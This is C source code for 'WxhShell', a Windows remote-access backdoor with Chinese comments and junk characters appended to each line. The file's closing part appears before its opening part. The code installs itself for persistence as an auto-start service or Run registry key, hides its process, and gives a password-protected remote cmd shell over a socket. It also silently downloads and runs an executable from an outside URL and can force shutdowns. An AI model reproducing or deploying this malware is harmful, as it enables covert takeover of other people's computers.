    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ln4zy*v{  
    else { 7R{(\s\9:  
    closesocket(wsh); jx?"m=`s:  
    ExitThread(0); W,53|9b@  
    } rDEd MT  
    break; +YNN$i  
    } #% 1|$V*:  
  // 获取shell ,iy;L_N  
  case 's': {  yf/c  
    CmdShell(wsh); / Ml d.  
    closesocket(wsh); )d^b\On  
    ExitThread(0); br[n5  
    break; 1k:s~m?!  
  } ]CnqPLqL  
  // 退出 -IP3I  
  case 'x': { $YPQi.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8K;wX%_,  
    CloseIt(wsh); m`Dn R`+  
    break; M6MtE_E  
    } l(fStpP  
  // 离开 aP}%&{iC*  
  case 'q': { H"n@=DMLm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pRTdP/(OQ  
    closesocket(wsh); '-?t^@  
    WSACleanup(); 3v:c".O2O  
    exit(1); HEMq4v4  
    break; `(dRb  
        } ZBf9Upg  
  } Q*c |!< &e  
  } oKlOcws}  
28jm*Cl8  
  // 提示信息 BGSqfr1F  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ze:Y"49S+>  
} (+=TKI<=  
  } C\d5t4s  
OD~TWT_  
  return; 1 xu2$x.b  
} aN}l&4d  
Dj$W?dC"^  
// shell模块句柄 o@!!I w  
int CmdShell(SOCKET sock) %J 'RO  
{ Z"u|-RoBV  
STARTUPINFO si; ROfr  
ZeroMemory(&si,sizeof(si)); d J;y>_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I$#)k^Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pqc +pE  
PROCESS_INFORMATION ProcessInfo; 0s%rd>3  
char cmdline[]="cmd"; RE?j)$y?`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x.:k0;%Q  
  return 0; 4\?GA`@  
} ?xgrr7  
cYaf QyU  
// 自身启动模式 )b_ GKA `  
int StartFromService(void) u3XQ<N{Gj  
{ hG3p"_L  
typedef struct n;5;D  
{ HxXCxI3  
  DWORD ExitStatus; $kM8E@x2  
  DWORD PebBaseAddress; Ub%sw&QG(9  
  DWORD AffinityMask; 6'^Gh B  
  DWORD BasePriority; VSJ08Ngi   
  ULONG UniqueProcessId; O@gHx!L  
  ULONG InheritedFromUniqueProcessId;  K#LG7faj  
}   PROCESS_BASIC_INFORMATION; Fm3f/]>k#_  
.bT|:Q~@{  
PROCNTQSIP NtQueryInformationProcess; VIi/=mO]  
+l,6}tV9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t'F_1P^*/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E{-W#}#  
5%5z@Ka  
  HANDLE             hProcess; ;J)8#|  
  PROCESS_BASIC_INFORMATION pbi; ~{O9dEI  
9u->.O: p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OGjeE4  
  if(NULL == hInst ) return 0; o9Z!Z ^  
)^ky @V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NSPa3NE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %](H?'H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ` iiZ  
&>Ko}?w  
  if (!NtQueryInformationProcess) return 0; VgSk\:t  
DsY$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w<uK-]t  
  if(!hProcess) return 0; >^  E  
$)5-}NJf'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?xTh}Sky  
\3ZQ:E}5  
  CloseHandle(hProcess); =>0+BD  
ly{Q>MBM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t!g9,xG<X  
if(hProcess==NULL) return 0; 9J$8=UuxWG  
2|1s!Q  
HMODULE hMod; SnhB$DG  
char procName[255]; g8_C|lVZi  
unsigned long cbNeeded; 5G\CT&cQR  
{\?zqIM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JVORz-uBs  
S!<1C Fh  
  CloseHandle(hProcess); WB=pRC@  
YGA( "<  
if(strstr(procName,"services")) return 1; // 以服务启动 }Ot I8;>  
;Ly(O'9  
  return 0; // 注册表启动 xz+Y1fYT  
} ? Q`Sx  
S[b)`Wi D  
// 主模块 btfjmR<Tp  
int StartWxhshell(LPSTR lpCmdLine) C^ hHt,&  
{ _/W[=c   
  SOCKET wsl; G n_AXN  
BOOL val=TRUE; &?@gUk74"  
  int port=0; Uf`lGGM  
  struct sockaddr_in door; Y}bJN%M  
zs@#.OEH  
  if(wscfg.ws_autoins) Install(); )TceNH  
_)7dy2%{q  
port=atoi(lpCmdLine); H(^O{JC]y!  
]y'/7U+  
if(port<=0) port=wscfg.ws_port; n.{+\M6k  
iI[Z|"a21  
  WSADATA data; \}ujSr#<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D&{ 7Av  
H?M#7K~[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    '8NKrI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |kwkikGQS  
  door.sin_family = AF_INET; v5|X=B>&>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P&/PCSf  
  door.sin_port = htons(port); .EC/[fM  
|S5N$[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JTw'ecFev  
closesocket(wsl); !@ml^&hP  
return 1; L%8>deE>;D  
} K_iy^|0)5]  
W^2Q"c#7F  
  if(listen(wsl,2) == INVALID_SOCKET) { u"K-mr#$[o  
closesocket(wsl); ;SzOa7  
return 1; [?<"SJ,`  
} G .~Psw#  
  Wxhshell(wsl); |H.(?!nTb  
  WSACleanup(); eH2.,wY1  
yA%(!v5UT  
return 0; 29K09 0f  
[=Wn7cr  
} WV5gH*uUa  
<^&NA<2  
// 以NT服务方式启动 ;T}#-`O_Im  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A2z%zMlZc  
{ R/ 7G  
DWORD   status = 0; +[9~ta|j  
  DWORD   specificError = 0xfffffff; m:<cLc :.  
x.r~e)x=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <lM]c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vrsO]ctI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; } XCHoB  
  serviceStatus.dwWin32ExitCode     = 0; h3issi+N  
  serviceStatus.dwServiceSpecificExitCode = 0; Y%$57,Bu n  
  serviceStatus.dwCheckPoint       = 0; *-bR~  
  serviceStatus.dwWaitHint       = 0; 9hI4',(rE  
S%b7NK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \GeUX <Fl  
  if (hServiceStatusHandle==0) return; /<Cl\q2 A  
:8U=L'4  
status = GetLastError(); __""!Yz  
  if (status!=NO_ERROR) 65RWaz;|  
{ $Q1:>i@I|g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g% :Q86u  
    serviceStatus.dwCheckPoint       = 0; MJ >9[hs  
    serviceStatus.dwWaitHint       = 0; pB{QO4q n  
    serviceStatus.dwWin32ExitCode     = status; ]yN]^% PYH  
    serviceStatus.dwServiceSpecificExitCode = specificError; =^4 vz=2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tv)x(MX  
    return; MP?9k)f  
  } |_a E~_  
G*e/Ft.wf8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w-[WJ:2.  
  serviceStatus.dwCheckPoint       = 0; #KZ- "$  
  serviceStatus.dwWaitHint       = 0; nH*U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RX:\@c&  
} y}ez js  
=PyU9C-@  
// 处理NT服务事件,比如:启动、停止 }:YS$'by  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {<&I4V@+  
{ c+#GX)zh\G  
switch(fdwControl) Yd lXMddE  
{ nCEt*~t9VE  
case SERVICE_CONTROL_STOP: oddS~lW  
  serviceStatus.dwWin32ExitCode = 0; 2t\a/QE)E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A\lnH5A  
  serviceStatus.dwCheckPoint   = 0; e{Pgz0sO Q  
  serviceStatus.dwWaitHint     = 0; * 4G J<  
  { /iNCb&[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #ldNWwvRGj  
  } ?Jm/v%0O  
  return; ^~|P[}  
case SERVICE_CONTROL_PAUSE: S0 M-$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "m):"  
  break; N%/Qc hu  
case SERVICE_CONTROL_CONTINUE: j/wG0~<kz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d~uK/R-KD  
  break; .Ff;St  
case SERVICE_CONTROL_INTERROGATE: :51Q~5k4  
  break; VR2BdfKU,  
}; s#?Y^bgH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m!a<\0^  
} lQ!ukl)  
 gvYa&N  
// 标准应用程序主函数 EU TTeFp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S *?'y  
{ 2X;,s`)  
{_|~G|Z  
// 获取操作系统版本 37x2fnC  
OsIsNt=GetOsVer(); {>fvyF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S%-L!V ,  
,sP7/S)FR  
  // 从命令行安装 ' wvZnb  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6GMQgTY^  
xKEHN gen  
  // 下载执行文件 K=M5d^K<E  
if(wscfg.ws_downexe) { kM*f9x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5[]7baO)h1  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sb>;k(;`:  
} "]JE]n}Ulg  
nYY@+%` ]z  
if(!OsIsNt) { \evK.i*KfA  
// 如果时win9x,隐藏进程并且设置为注册表启动 s{x2RDAt  
HideProc(); M/:kh,3  
StartWxhshell(lpCmdLine); Ex^7`-2,B  
} :g}WN  
else 4Wk/^*?  
  if(StartFromService()) .T L0cfTo  
  // 以服务方式启动 `Q<hL{AH  
  StartServiceCtrlDispatcher(DispatchTable); @sav8 ]  
else D&0*+6j((  
  // 普通方式启动 o?b$}Qrl  
  StartWxhshell(lpCmdLine); HZ5*PXg~  
LtJ$ZE^GB  
return 0; tk|Ew!M:  
} AVGb;)x#  
\,!FL))yC  
Dh BUMDoB  
tcSn`+Bu_`  
=========================================== 9(QY~F  
VzA~w` $d  
P7&a~N$T6W  
5Z ] `n  
OvX z+C,  
aDm$^yP  
" *$Aneq0f  
Z`o}xV  
#include <stdio.h> #b4`Wcrj  
#include <string.h> 6vQAeuz<Fq  
#include <windows.h> eA$9)K1GO  
#include <winsock2.h> s+2\uMwf*  
#include <winsvc.h> 3cBuqQ  
#include <urlmon.h> Z=|:D,&  
;VSHXU'H  
#pragma comment (lib, "Ws2_32.lib") e]!C Aj7uS  
#pragma comment (lib, "urlmon.lib") T-xcd  
kn 5q1^  
#define MAX_USER   100 // 最大客户端连接数 _Xlf}BE  
#define BUF_SOCK   200 // sock buffer [(B A:x1  
#define KEY_BUFF   255 // 输入 buffer B#&U5fSw+0  
8b8ui  
#define REBOOT     0   // 重启 eG72=l)Mz  
#define SHUTDOWN   1   // 关机 8c3`IIzAS  
4Smno%jq  
#define DEF_PORT   5000 // 监听端口 F2:+i#lE  
W @Y$!V<  
#define REG_LEN     16   // 注册表键长度 W#$ pt>h)  
#define SVC_LEN     80   // NT服务名长度 RnPJ,Z5s&&  
Qf6]qJa|  
// 从dll定义API  Xt(w+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bU/5ug.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "[L[*>[9!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WEFYV=I\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S) Sv4Qm  
A-aukJg9  
// wxhshell配置信息 ,)hUL/r6  
struct WSCFG { \9geDX9A  
  int ws_port;         // 监听端口 5?kJ]:  
  char ws_passstr[REG_LEN]; // 口令 z\*ii<- @  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ytmt+9  
  char ws_regname[REG_LEN]; // 注册表键名 9n]z h-  
  char ws_svcname[REG_LEN]; // 服务名 |lm   
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Aa[p7{e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qv(}*iq]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }_u1'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {(U?)4@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u7ZSs-LuHw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *>h"}e41  
$`(}ygmP  
}; >KH.~Jfy  
cW4:eh  
// default Wxhshell configuration lO3$V JI  
struct WSCFG wscfg={DEF_PORT, ,-myR1}  
    "xuhuanlingzhe", U+CZv1  
    1, Ki(qA(r  
    "Wxhshell", f9W@!]LHJ  
    "Wxhshell", \-a^8{.^E  
            "WxhShell Service", kngkG|du  
    "Wrsky Windows CmdShell Service", "toyfZq@  
    "Please Input Your Password: ", k"Y9Kc0XoU  
  1, 7dyGC:YuTL  
  "http://www.wrsky.com/wxhshell.exe", #56}RV1  
  "Wxhshell.exe" 57k@] 3 4  
    }; X|^E+ `M4  
?lW-NPr  
// 消息定义模块 X1?7}VO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OJPx V~y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6S)$wj*w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; td%]l1  
char *msg_ws_ext="\n\rExit."; <^snS,06  
char *msg_ws_end="\n\rQuit."; `[3Iz$K=  
char *msg_ws_boot="\n\rReboot..."; ,l^; ZE  
char *msg_ws_poff="\n\rShutdown..."; 8,=N~(pd`  
char *msg_ws_down="\n\rSave to "; #_0OYL`(mE  
nAPSs]D  
char *msg_ws_err="\n\rErr!"; f2ygN6(>  
char *msg_ws_ok="\n\rOK!"; 0O<g) %Vz>  
[[2Zcz:  
char ExeFile[MAX_PATH]; =cI -<0QSn  
int nUser = 0; <^q4^Q[  
HANDLE handles[MAX_USER]; |TL&#U  
int OsIsNt; ^ cpQ*Fz  
^ZV1Ev8T6  
SERVICE_STATUS       serviceStatus; !2R~/Rg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d2`m0U  
(8qD'(@  
// 函数声明 > 2_xRn<P  
int Install(void); ^kJ(bBY  
int Uninstall(void); l/0"'o_0v#  
int DownloadFile(char *sURL, SOCKET wsh); rDFD rviW_  
int Boot(int flag); kDI(Y=Fg  
void HideProc(void); `>KB8SY:qK  
int GetOsVer(void); Lf0Y|^!S_u  
int Wxhshell(SOCKET wsl); ]D_"tQ?i  
void TalkWithClient(void *cs); E0; }e  
int CmdShell(SOCKET sock); reseu*5  
int StartFromService(void); ,l/~epx4v)  
int StartWxhshell(LPSTR lpCmdLine); \) DJo  
S.&=>   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gZ vX~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l2H-E&'=  
Y3@\uM`2#  
// 数据结构和表定义 +g/TDwyVH  
SERVICE_TABLE_ENTRY DispatchTable[] = K;kaWV  
{ )y>o;^5'  
{wscfg.ws_svcname, NTServiceMain}, Ilt!O^  
{NULL, NULL} -OV:y],-  
}; lh^-L+G:Ok  
(ndXz  
// 自我安装 OBrbWXp@  
int Install(void) L&h@`NPO a  
{ 1 EE4N\  
  char svExeFile[MAX_PATH]; yQ$Q{,S9  
  HKEY key; *Iy5 V7`KU  
  strcpy(svExeFile,ExeFile); |,!]]YO.V  
1^&qlnqH  
// 如果是win9x系统,修改注册表设为自启动 J)(KGdk  
if(!OsIsNt) { MzUNk`T @  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EJC{!06L'/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MR4e.+#E  
  RegCloseKey(key); udw>{3>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W)F<<B,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EFpV  
  RegCloseKey(key); wxC&KrRF  
  return 0; D*7JE  
    } Tfasry9'8  
  } $glt%a  
} B$ty`/{w,B  
else { `N;}Gf-'  
A'A5.\UN  
// 如果是NT以上系统,安装为系统服务 %Xe#'qNq)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u7PtGN0r%  
if (schSCManager!=0) TpnJm%9`)t  
{ ai,\'%N  
  SC_HANDLE schService = CreateService 8+}yf.`  
  ( ]0[Gc \h}  
  schSCManager, #>O!N  
  wscfg.ws_svcname, =f48[=  
  wscfg.ws_svcdisp, d7, ZpHt  
  SERVICE_ALL_ACCESS, Kjw==5)}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?+3vK=Rf}  
  SERVICE_AUTO_START, F7fpsAt7  
  SERVICE_ERROR_NORMAL, L@mNfLK  
  svExeFile, Bh` Y?S  
  NULL, IBP3  
  NULL, 7(8i~}  
  NULL, g=ehAg  
  NULL, rC !!X  
  NULL 8>R 75 dw  
  ); qu8!fFQjYL  
  if (schService!=0) t(~V:+W9  
  { \@\r`=WgB  
  CloseServiceHandle(schService); ;`")3~M3*  
  CloseServiceHandle(schSCManager); p :v'"A}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3VI[*b  
  strcat(svExeFile,wscfg.ws_svcname); 9\dpJ\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i}tBB~]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EWb'#+BP  
  RegCloseKey(key); E =*82Y=B  
  return 0; |_6V+/?"?`  
    } UO1WtQyu,H  
  } 9#;GG3  
  CloseServiceHandle(schSCManager); sn!E$ls3O  
} Os90fR  
} 6%-RKQi  
?IN'Dc9&%-  
return 1; )7aUDsu>4  
} k^H&IS!  
xmM!SY>  
// 自我卸载 bHKTCPf  
int Uninstall(void) WX-J4ieL  
{ {+3 `{34e  
  HKEY key;  =8o$  
yjF;%A/0  
if(!OsIsNt) { +UM%6Z=+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H1t`fyri2  
  RegDeleteValue(key,wscfg.ws_regname); @%^JB  
  RegCloseKey(key); IgmCZ?l&0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `iQ])C^d  
  RegDeleteValue(key,wscfg.ws_regname); xCQLfXK7  
  RegCloseKey(key); w=QlQ\  
  return 0; k4E2OyCFoJ  
  } f 0|wN\  
} %&5PZmnW  
} mEZHrr J  
else { j&N {j_ M  
$eq*@5B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3a\De(;  
if (schSCManager!=0) zk;'`@7  
{ Nd h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X T<SR]  
  if (schService!=0) +:_;K_h  
  { D#k ~lEPub  
  if(DeleteService(schService)!=0) { !jTxMf  
  CloseServiceHandle(schService); FokSg[)5  
  CloseServiceHandle(schSCManager); BO,xA-+  
  return 0; QPyHos `  
  } =T-jG_.H  
  CloseServiceHandle(schService); | 9 <+!t\  
  } E)iX`Xq|0{  
  CloseServiceHandle(schSCManager); ujf]@L?  
} pSl4^$2XR  
} Pr_DMu  
eyzXHS*s;L  
return 1; "!9FJ Y  
} C klIrD{  
0B]c`$"aD  
// 从指定url下载文件 aT~=<rEDy  
int DownloadFile(char *sURL, SOCKET wsh) s}<i[hY>  
{ %D49A-R  
  HRESULT hr; 0<)Ep~!  
char seps[]= "/"; Y M,UM>  
char *token; n #S?fsQN  
char *file; (XNd]G  
char myURL[MAX_PATH]; mM2DZ^"j(  
char myFILE[MAX_PATH]; pM-mZ/?  
}1mkX\wWP  
strcpy(myURL,sURL); 4jw q$G  
  token=strtok(myURL,seps); ;--p/h*.  
  while(token!=NULL) 8K9RA<  
  { "9#hk3*GqX  
    file=token; `Ip``I#A  
  token=strtok(NULL,seps); "#8I &xZK  
  } nH}V:C  
q\/xx`L  
GetCurrentDirectory(MAX_PATH,myFILE); .umN>/o[  
strcat(myFILE, "\\"); s_P[lbHt.  
strcat(myFILE, file); )Vo%}g?6!  
  send(wsh,myFILE,strlen(myFILE),0); -U{!'e8YiN  
send(wsh,"...",3,0); sitgz)Ki^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -FS! v^  
  if(hr==S_OK) bQ-n<Lx  
return 0; Xb@dQRVX  
else g: YUuZ  
return 1; E%?> %h  
J4Ca0Ag  
} 63'L58O  
j>3Fwg9V  
// 系统电源模块 XEUS)X)  
int Boot(int flag) l%qfaU2  
{ R@KWiV  
  HANDLE hToken; mr,G H x  
  TOKEN_PRIVILEGES tkp; I:WPP'L4o  
#!>`$  
  if(OsIsNt) { `)NTJc$):  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]} pAZd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I5E5,{  
    tkp.PrivilegeCount = 1; v}<z_i5/C.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e 8^%}\F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @h\i<sh!^  
if(flag==REBOOT) { gX(8V*os^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Hp@cBj_@P2  
  return 0; M"foP@  
} fVYv 2  
else { *-'`Ea  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /U>8vV+C  
  return 0;  nyZ?m  
} u1|v3/Q-  
  } 9y*(SDF  
  else { *7qa]i^]  
if(flag==REBOOT) { D"K! ELGW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dB Hki*.u  
  return 0; J?Rp  
} ]0pI6"  
else { iHWt;]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) USXPa[  
  return 0; nTsPX Tat  
} {XW>3 "  
} &# @"^(} 6  
-./ Y  
return 1; XX *f  
} ! &V,+}>)  
ve4 QS P  
// win9x进程隐藏模块 :0Fwaw9PH"  
void HideProc(void) `U;V-  
{ ltd'"J/r  
'IER9%V$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;8gODj:dO  
  if ( hKernel != NULL ) 7RgnL<t~:8  
  { !Tu.A@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); / `w'X/'VJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jw]IpGTt  
    FreeLibrary(hKernel); u[!Ex=9W  
  } cr{dl\ Na  
 uMBb=   
return; dRTpGz  
} H/ub=,Ej*  
+Jc-9Ko\c;  
// 获取操作系统版本 t*Wxvoxk  
int GetOsVer(void) BimM)4g  
{ A3zNUad;  
  OSVERSIONINFO winfo; q{.~=~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >2)!w  
  GetVersionEx(&winfo); P+3)YO1C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OZh+x`' #  
  return 1; .T*7nw  
  else Q1'D*F4  
  return 0; QLTE`t5w3'  
} o-t!z'\lO  
o6 [i0S  
// 客户端句柄模块 PiIILX{DuH  
int Wxhshell(SOCKET wsl) @aGS~^U h  
{ NPR{g!tK%  
  SOCKET wsh; P^*gk P  
  struct sockaddr_in client; ?r~](l   
  DWORD myID; d>7bwG+k  
iAW oKW  
  while(nUser<MAX_USER) @KYmkx W  
{ FdJC@Y-#uA  
  int nSize=sizeof(client); ~ .Eln+N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ';7|H|,F  
  if(wsh==INVALID_SOCKET) return 1; ^A$~8?f  
b;Im +9&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !PrO~  
if(handles[nUser]==0)   s/'gl  
  closesocket(wsh); H\!u5o&}`  
else #Ryu`b  
  nUser++; VVje|T^{Z  
  } Bj7\{x,?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _V|'iz9.  
s ^{j  
  return 0; M>k7 '@G  
} J0|}u1? l  
%jM|*^\%  
// 关闭 socket _>:g&pS/  
void CloseIt(SOCKET wsh) Xl*-A|:j  
{ \>/:@4oK  
closesocket(wsh); M+^K,  
nUser--; 0+:.9*g=k  
ExitThread(0); .]H]H*wC  
} 0QIocha  
qkUr5^1  
// 客户端请求句柄 1y"37;x  
void TalkWithClient(void *cs) |:r/K  
{ P[nWmY  
e?lqs,m@"  
  SOCKET wsh=(SOCKET)cs; Tz L40="F  
  char pwd[SVC_LEN]; O x$|ZEh  
  char cmd[KEY_BUFF]; ]:E]5&VwV}  
char chr[1]; 8rp-Xi W  
int i,j; (Fgt#H(B  
j*:pW;)^  
  while (nUser < MAX_USER) { '7*=m^pc  
q=1SP@;\6  
if(wscfg.ws_passstr) { F5<{-{Ky  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z%OSW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G[>-@9_b  
  //ZeroMemory(pwd,KEY_BUFF); QT&{M #Ydn  
      i=0; }C&c=3V  
  while(i<SVC_LEN) { };!c]/,  
ToJru  
  // 设置超时 3MzY]J y(  
  fd_set FdRead; "\=_- `  
  struct timeval TimeOut; %-'U9e KN  
  FD_ZERO(&FdRead); TQ2Tt "  
  FD_SET(wsh,&FdRead); 3CHte*NL=  
  TimeOut.tv_sec=8; #EM'=Q%TO  
  TimeOut.tv_usec=0; 6kuSkd$.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0?h .X= G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1a!h&!$9  
v1lj/A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` cv:p|s  
  pwd=chr[0]; NR[mzJv  
  if(chr[0]==0xd || chr[0]==0xa) { K/,lw~>  
  pwd=0; E0pQRGPA  
  break; 5~X%*_[],  
  } v: 0i5h&M  
  i++; 4yM8W\je  
    } o<'gM]$  
>lW*%{|b$^  
  // 如果是非法用户,关闭 socket uR%H"f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *j* WE\  
}  e.GzGX  
Z7/dRc   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]O\W<'+V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bcs!4  
HlSuhbi'@  
while(1) { v8IL[g6"  
e`rY]X  
  ZeroMemory(cmd,KEY_BUFF); ckk[n  
{EUH#':  
      // 自动支持客户端 telnet标准   *^uj(8U  
  j=0; %E\%nTV  
  while(j<KEY_BUFF) { .'1j5Y-l`N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _2Z3?/Y  
  cmd[j]=chr[0]; Em;b,x*U  
  if(chr[0]==0xa || chr[0]==0xd) { a=FRJQ8S  
  cmd[j]=0; q': wSu u  
  break; *La =7y:  
  } TfVD'HAN;l  
  j++; ^!qmlx*  
    } S\ZAcz4  
d"UW38K{  
  // 下载文件 t>2^!vl  
  if(strstr(cmd,"http://")) { J":9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ c&)8.r  
  if(DownloadFile(cmd,wsh)) /8>/"Z2S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U08?*{  
  else C#&6p0U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }YP7x|  
  } N08n/u&cr,  
  else { Ib8i#DV  
_%vqBr*  
